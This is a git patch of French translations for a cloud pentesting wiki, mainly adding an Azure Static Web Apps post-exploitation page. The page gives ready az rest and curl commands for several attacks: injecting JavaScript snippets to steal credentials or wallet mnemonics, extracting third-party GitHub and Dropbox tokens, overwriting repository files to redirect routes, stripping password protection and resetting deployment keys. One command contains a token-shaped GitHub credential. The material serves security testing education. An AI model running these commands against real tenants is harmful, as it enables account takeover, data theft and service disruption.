From 966d7f13240c0263dff339d267f08565b8a4ca06 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 22:57:51 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/images/azure_static_password.png | Bin 0 -> 14369 bytes .../aws-sagemaker-privesc.md | 4 +- .../az-static-web-apps-post-exploitation.md | 162 ++++++++++++++++++ ...-conditional-access-policies-mfa-bypass.md | 20 +-- .../az-services/az-static-web-apps.md | 109 ++++++++++++ 5 files changed, 283 insertions(+), 12 deletions(-) create mode 100644 src/images/azure_static_password.png create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md diff --git a/src/images/azure_static_password.png b/src/images/azure_static_password.png new file mode 100644 index 0000000000000000000000000000000000000000..9b11425160fdf4e9366904aff148498194333728 GIT binary patch literal 14369 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 [!WARNING] > Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement). @@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` Un attaquant avec ces permissions pourra (potentiellement) créer un **hyperparameter training job**, **exécutant un conteneur arbitraire** avec un **rôle attaché**.\ -&#xNAN;_I n'ai pas exploité en raison du manque de temps, mais cela ressemble aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._ +_Je n'ai pas exploité en raison du manque de temps, mais cela semble similaire aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._ ## Références diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md new file mode 100644 index 000000000..52d8fbd6b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md @@ -0,0 +1,162 @@ +# Az - Static Web Apps Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Static Web Apps + +Pour plus d'informations sur ce service, consultez : + +{{#ref}} +../az-services/az-static-web-apps.md +{{#endref}} + +### Microsoft.Web/staticSites/snippets/write + +Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3). + +La commande suivante crée un extrait qui sera toujours chargé par l'application web : +```bash +az rest \ +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' +``` +### Lire les identifiants de tiers configurés + +Comme expliqué dans la section App Service : + +{{#ref}} +../az-privilege-escalation/az-app-services-privesc.md +{{#endref}} + +En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive. + +Voici quelques exemples de commandes pour vérifier les jetons : +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Écraser un fichier - Écraser des routes, HTML, JS... + +Il est possible d'**écraser un fichier à l'intérieur du dépôt Github** contenant l'application via Azure en utilisant le **token Github** pour envoyer une requête telle que celle-ci, qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit. + +Cela peut être exploité par des attaquants pour essentiellement **modifier le contenu de l'application web** afin de servir un contenu malveillant (voler des identifiants, des clés mnémotechniques...) ou simplement pour **rediriger certains chemins** vers leurs propres serveurs en écrasant le fichier `staticwebapp.config.json`. + +> [!WARNING] +> Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github. +```bash +curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ +-H "Content-Type: application/json" \ +-d '{ +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +}' +``` +### Microsoft.Web/staticSites/config/write + +Avec cette autorisation, il est possible de **modifier le mot de passe** protégeant une application web statique ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante : +```bash +# Change password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} +}' + +# Remove the need of a password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} +}' +``` +### Microsoft.Web/staticSites/listSecrets/action + +Cette permission permet d'obtenir le **jeton de déploiement de clé API** pour l'application statique. + +Ce jeton permet de déployer l'application. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" +``` +Ensuite, pour mettre à jour une application, vous pouvez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant **comment fonctionne Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramètres pourraient changer à l'avenir. + +1. Téléchargez le dépôt [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou tout autre dépôt que vous souhaitez déployer) et exécutez `cd react-basic`. +2. Modifiez le code que vous souhaitez déployer +3. Déployez-le en exécutant (N'oubliez pas de changer le ``): +```bash +docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose +``` +### Microsoft.Web/staticSites/write + +Avec cette autorisation, il est possible de **changer la source de l'application web statique vers un autre dépôt Github**, cependant, cela ne sera pas provisionné automatiquement car cela doit être fait à partir d'une action Github, généralement avec le jeton qui a autorisé l'action, car ce jeton n'est pas mis à jour automatiquement dans les secrets Github du dépôt (il est simplement ajouté automatiquement lors de la création de l'application). +```bash +az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main +``` +### Microsoft.Web/staticSites/resetapikey/action + +Avec cette permission, il est possible de **réinitialiser la clé API de l'application web statique**, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 8f73ca903..a305ceb45 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,4 +1,4 @@ -# Az - Politiques d'accès conditionnel & contournement MFA +# Az - Politiques d'accès conditionnel et contournement MFA {{#include ../../../../banners/hacktricks-training.md}} @@ -10,11 +10,11 @@ Les politiques d'accès conditionnel **définissent** essentiellement **Qui** pe Voici quelques exemples : 1. **Politique de risque de connexion** : Cette politique pourrait être configurée pour exiger une authentification multifacteur (MFA) lorsqu'un risque de connexion est détecté. Par exemple, si le comportement de connexion d'un utilisateur est inhabituel par rapport à son modèle habituel, comme se connecter depuis un pays différent, le système peut demander une authentification supplémentaire. -2. **Politique de conformité des appareils** : Cette politique peut restreindre l'accès aux services Azure uniquement aux appareils conformes aux normes de sécurité de l'organisation. Par exemple, l'accès pourrait être autorisé uniquement depuis des appareils ayant un logiciel antivirus à jour ou exécutant une certaine version du système d'exploitation. +2. **Politique de conformité des appareils** : Cette politique peut restreindre l'accès aux services Azure uniquement aux appareils conformes aux normes de sécurité de l'organisation. Par exemple, l'accès pourrait être autorisé uniquement depuis des appareils disposant d'un logiciel antivirus à jour ou exécutant une certaine version du système d'exploitation. ## Contournements des politiques d'accès conditionnel -Il est possible qu'une politique d'accès conditionnel **vérifie certaines informations qui peuvent être facilement falsifiées, permettant un contournement de la politique**. Et si, par exemple, la politique était configurée pour MFA, l'attaquant pourra la contourner. +Il est possible qu'une politique d'accès conditionnel **vérifie certaines informations qui peuvent être facilement falsifiées, permettant ainsi de contourner la politique**. Et si, par exemple, la politique était configurée 